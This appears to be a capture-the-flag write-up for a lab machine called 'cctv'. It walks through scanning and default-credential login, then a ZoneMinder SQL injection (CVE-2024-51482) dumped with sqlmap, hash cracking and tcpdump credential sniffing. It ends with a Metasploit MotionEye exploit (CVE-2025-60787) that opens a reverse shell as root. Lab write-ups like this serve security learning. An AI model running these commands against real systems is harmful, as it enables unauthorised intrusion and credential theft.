1 RECON

1.1 Port Scan

Bash
nmap -A $targetIp

Result:

ShellSession
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 Web Application

A monitoring web cam application:

This kind of target often points to cron jobs, traffic capture, and data leaks during exploitation.

Click "Staff Login" to enter the ZoneMinder login page:

ZoneMinder has a long track record of RCE, auth bypass, and file-write bugs.


2 WEB

2.1 ZoneMinder

ZoneMinder is an open-source video surveillance platform designed for Linux systems. It turns a server into a central CCTV management system capable of controlling cameras, recording video, detecting motion, and managing events through a web interface.

Runs on:

  • Apache
  • PHP
  • MySQL / MariaDB

2.1.1 Default Credentials

The login page suggests authentication. Probe with default credentials admin / admin:

Login works. The app reveals version v1.37.63, so we can pin the source tag on Github: https://github.com/ZoneMinder/zoneminder/tree/1.37.63

2.1.2 CVE-2024-51482

With a clear fingerprint, we search public exploits. CVE-2024-51482 matches this version.

ZoneMinder AJAX requests are routed through:

URI
/zm/index.php?view=request&request=event

This request appears periodically:

Which internally loads:

Path
web/ajax/event.php

The vulnerable code path triggers when the request includes:

Parameter
action=removetag

This is the case in web/ajax/event.php at line 217:

PHP
case 'removetag' :
    $tagId = $_REQUEST['tid'];

    dbQuery(
        'DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?',
        array($tagId, $_REQUEST['id'])
    );

    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);

    if ($rowCount < 1) {
        $sql = 'DELETE FROM Tags WHERE Id = ?';
        $values = array($_REQUEST['tid']);
        $response = dbNumRows($sql, $values);
        ajaxResponse(array('response'=>$response));
    }

The critical issue is the second query.

User input controls tid, which is assigned to $tagId:

PHP
$tagId = $_REQUEST['tid'];

No sanitization. No casting. No escaping.

First query (safe):

SQL
DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?

This uses parameterized placeholders, so the first query is not vulnerable.

But look at the second query (vulnerable):

SQL
SELECT * FROM Events_Tags WHERE TagId = $tagId

Now user input is directly concatenated into SQL.

The patch simply switches to a prepared query:

PHP
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId);

This prevents user input from being parsed as SQL. (GitHub)

PoC:

URL
http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1

Replace with the target hostname:

2.1.3 SQL Injection

Send the PoC request through Burp and save it as req.txt:

HTTP
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=67s94t6jmii9b16kkvjtkcogup
Connection: keep-alive

Run sqlmap with minimal probing to enumerate databases:

Bash
sqlmap -r req.txt \
    --batch \
    -p "tid" \
    --dbs

Time-based injection works:

axura @ labyrinth :~
[19:21:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:21:30] [INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:21:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:21:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:21:49] [INFO] target URL appears to be UNION injectable with 4 columns
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests?
[Y/n] Y
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[19:22:14] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[19:22:14] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 110 HTTP(s) requests:
---
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7784 FROM (SELECT(SLEEP(5)))QtFt)
---
[19:22:41] [INFO] the back-end DBMS is MySQL
[19:22:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12

Time-based SQLi is slow, so we tune sqlmap for faster extraction.

In the 1.37.63 tree, the schema file is db/zm_create.sql.in:

SQL
CREATE TABLE `Users` (
  `Id` int(10) unsigned NOT NULL auto_increment,
  `Username` varchar(64) character set latin1 collate latin1_bin NOT NULL default '',
  `Password` varchar(64) NOT NULL default '',
  ...
)

Our targets are:

  • table: Users
  • columns: Username, Password

Final command to dump user credentials:

Bash
sqlmap -r req.txt \
  -p "tid" \
  --batch \
  --technique=T \
  --predict-output \
  -D zm \
  -T Users \
  -C Username,Password \
  --dump

Result:

axura @ labyrinth :~
       __H__
 ___ ___[)]_____ ___ ___  {1.10.2#pip}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal law
s. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:23:47 /2026-03-07/

[20:23:47] [INFO] parsing HTTP request from 'req.txt'
[20:23:47] [INFO] resuming back-end DBMS 'mysql'
[20:23:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 1137 FROM (SELECT(SLEEP(5)))RzbA)
---
[20:23:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[20:23:48] [INFO] fetching entries of column(s) 'Password,Username' for table 'Users' in database 'zm'
[20:23:48] [INFO] fetching number of column(s) 'Password,Username' entries for table 'Users' in database 'zm'
[20:23:48] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[20:24:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[20:24:31] [INFO] adjusting time delay to 4 seconds due to good response times
3
[20:24:36] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[20:44:33] [INFO] retrieved: superadmin
[20:47:20] [INFO] retrieved: $2y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests?
[Y/n] Y
$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[21:07:31] [INFO] retrieved: mark
[21:08:36] [INFO] retrieved: $2y$10$t5z8

2.2 Hash Cracking

While the dump runs, we test the hashes and find Mark's is crackable with rockyou. Run hashcat in mode 3200:

Bash
hashcat -m 3200 hashes.txt path/to/rockyou.txt

Jackpot:

Hashcat
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZ...XKfFG.

Use it to log in over SSH:

axura @ labyrinth :~
$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
mark@cctv:~$ ls -a /home/mark
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .gnupg  .profile  .ssh  .wget-hsts
mark@cctv:~$ ls -a /home/
.  ..  mark  sa_mark

No user flag yet. The next target appears to be sa_mark, a service account tied to mark.


3 USER

3.1 Enumeration

Running LinPEAS shows an immediate red flag:

Capability cap_net_raw:

LinPEAS
/usr/bin/tcpdump cap_net_raw=eip

This allows packet capture without root, so we can sniff local network traffic.

LinPEAS also reveals a readable log:

LinPEAS
╔══════════╣ Backup folders
drwxr-xr-x 2 root root 4096 Mar  8 05:25 /opt/video/backups
total 4
-rw-r--r-- 1 1005 1005 3714 Mar  8 05:29 server.log

╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rw-r--r-- 1 1005 1005 3714 Mar  8 05:29 /opt/video/backups/server.log

The log reads:

/opt/video/backups/server.log
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-08 05:14:02
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-08 05:14:40
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-08 05:15:16
[...snip...]
  • A service executes commands
  • Authentication happens repeatedly

3.2 Sniffing

There is a local service authenticating as sa_mark, which means we can sniff the credential or token it uses.

ip a reveals the network layout:

axura @ labyrinth :~
mark@cctv:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:20:0d brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.9.121/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3246sec preferred_lft 3246sec
    inet6 dead:beef::250:56ff:feb0:200d/64 scope global dynamic mngtmpaddr
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb0:200d/64 scope link
       valid_lft forever preferred_lft forever
3: br-1b6b4b93c636: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 76:2b:0e:7d:35:59 brd ff:ff:ff:ff:ff:ff
    inet 172.25.0.1/16 brd 172.25.255.255 scope global br-1b6b4b93c636
       valid_lft forever preferred_lft forever
    inet6 fe80::742b:eff:fe7d:3559/64 scope link
       valid_lft forever preferred_lft forever
4: br-3e74116c4022: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 56:8a:65:38:26:59 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3e74116c4022
       valid_lft forever preferred_lft forever
    inet6 fe80::548a:65ff:fe38:2659/64 scope link
       valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether aa:aa:9f:0b:84:db brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
6: vethf64c125@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default
    link/ether 56:33:10:78:0f:13 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::5433:10ff:fe78:f13/64 scope link
       valid_lft forever preferred_lft forever
8: veth1a856e6@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default
    link/ether 06:03:c6:f1:6f:f5 brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::60ec:bcff:fe97:c3e8/64 scope link
       valid_lft forever preferred_lft forever
9: vethfa85bee@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default
    link/ether 6a:84:71:d4:3b:41 brd ff:ff:ff:ff:ff:ff link-netnsid 3
    inet6 fe80::384a:5cff:feeb:6b10/64 scope link
       valid_lft forever preferred_lft forever
11: vethffd3acb@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default
    link/ether 9e:3d:a2:25:53:55 brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::9c3d:a2ff:fe25:5355/64 scope link
       valid_lft forever preferred_lft forever

Docker bridge networks:

Interfaces
br-* interfaces
veth interfaces

This suggests the CCTV stack uses containerized services communicating internally.

Capture all traffic first:

Bash
tcpdump -i any -nn

Port 5000 on 172.25.0.10 is hit frequently and appears to host a Python Flask service:

Then filter traffic on port 5000:

Bash
tcpdump -i any -nn -A tcp port 5000

Jackpot:

axura @ labyrinth :~
mark@cctv:~$ tcpdump -i any -nn -A tcp port 5000
[...snip...]
06:14:36.896357 veth1a856e6 P   IP 172.25.0.11.44992 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 574671639 ecr 51593900], length 51
E..g.u@.@..........
......y.E..>....X......
"@....B.USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
06:14:36.896359 vethf64c125 Out IP 172.25.0.11.44992 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 574671639 ecr 51593900], length 51
E..g.u@.@..........
......y.E..>....X......
"@....B.USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status
[...snip...]

Switch to sa_mark with the captured password:

axura @ labyrinth :~
mark@cctv:~$ su - sa_mark
Password:
$ id
uid=1001(sa_mark) gid=1001(sa_mark) groups=1001(sa_mark)
$ ls -a
 .   ..   .bash_history   .cache   .local  'SecureVision Staff Announcement.pdf'   user.txt
$ cat use*
b****************************4

User flag secured.


4 ROOT

4.1 Password Reuse

In sa_mark's home directory, we find a PDF notice. Download it:

Bash
scp [email protected]:/home/sa_mark/'SecureVision Staff Announcement.pdf' .

The staff announcement says:

Staff logins will remain the same.

This hints at credential reuse from the old platform to the current CCTV stack.

4.2 MotionEye

From previous LinPEAS output, localhost port 8765 is open. Forward it:

Bash
ssh -L 8765:127.0.0.1:8765 [email protected]

It exposes the MotionEye CCTV management app, and the hint suggests we can reuse the sa_mark password:

Creds
admin / X1l9fx1ZjS7RZb

See version 0.43.1b4:

Also recall our earlier capture:

Tcpdump Capture
USERNAME=sa_mark
PASSWORD=X1l9fx1ZjS7RZb
CMD=status

Beyond credentials, this also reveals how the internal CCTV service works:

Commands executed through CMD parameter

This strongly suggests an RCE path.

4.3 CVE-2025-60787

4.3.1 Vulnerability Analysis

Searching CVEs shows this MotionEye version is affected by CVE-2025-60787.

MotionEye lets admins configure camera settings through the web UI. Relevant fields include:

  • image_file_name
  • movie_filename

These values are written directly into Motion configuration files without sanitization.

For example:

Config
image_file_name %Y-%m-%d_%H-%M-%S

The bug is:

Flow
user input -> written to config -> later executed by motion

Because the values are not sanitized, shell metacharacters can be injected.

4.3.2 Exploit

Metasploit introduces an exploit module on this CVE:

MSF Module
exploit/linux/http/motioneye_auth_rce_cve_2025_60787

Use this module with the following options:

MSF
set RHOSTS 127.0.0.1
set RPORT 8765
set PASSWORD X1l9fx1ZjS7RZb
set LHOST tun0
run

Execution:

axura @ labyrinth :~
$ msfconsole -q
[*] Starting persistent handler(s)...
msf > use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 8765
RPORT => 8765
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set PASSWORD X1l9fx1ZjS7RZb
PASSWORD => X1l9fx1ZjS7RZb
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set LHOST tun0
LHOST => tun0
msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > run
[*] Started reverse TCP handler on 10.10.13.68:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable
[*] Adding malicious camera...
[+] Camera successfully added
[*] Setting up exploit...
[+] Exploit setup complete
[*] Triggering exploit...
[+] Exploit triggered, waiting for session...
[*] Sending stage (3090404 bytes) to 10.129.9.121
[*] Meterpreter session 1 opened (10.10.13.68:4444 -> 10.129.9.121:53144) at 2026-03-07 23:13:21 -0800
[*] Removing camera
[+] Camera removed successfully

meterpreter > getuid
Server username: root
meterpreter > cat /root/root.txt
a*****************************b

Rooted.